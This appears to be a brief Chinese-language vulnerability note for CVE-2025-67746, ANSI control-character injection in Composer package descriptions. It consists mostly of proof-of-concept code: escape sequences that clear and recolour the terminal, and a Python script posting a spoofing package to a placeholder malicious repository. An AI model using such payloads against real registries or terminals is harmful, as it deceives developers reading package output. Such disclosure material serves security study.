CVE-2025-67746: Composer ANSI控制字符注入漏洞

# 恶意ANSI转义序列示例 # 攻击者可在包描述中注入ANSI控制字符 malicious_payload = "\033[2J\033[H" # 清屏 malicious_payload += "\033[31m" # 红色文本 malicious_payload += "Malicious Content" malicious_payload += "\033[0m" # 重置 # 完整的PoC脚本 import requests import json def create_malicious_package(): # 创建包含恶意ANSI转义序列的包元数据 payload = { "name": "evil/package", "description": "\033[2J\033[H" + " "*10000 + "Hacked!", "version": "1.0.0" } # 上传到恶意的Composer仓库 response = requests.post( "http://malicious-repo.example.com/packages", json=payload ) return response.status_code == 200 def exploit(): if create_malicious_package(): print("Malicious package created successfully") else: print("Failed to create malicious package") if __name__ == "__main__": exploit()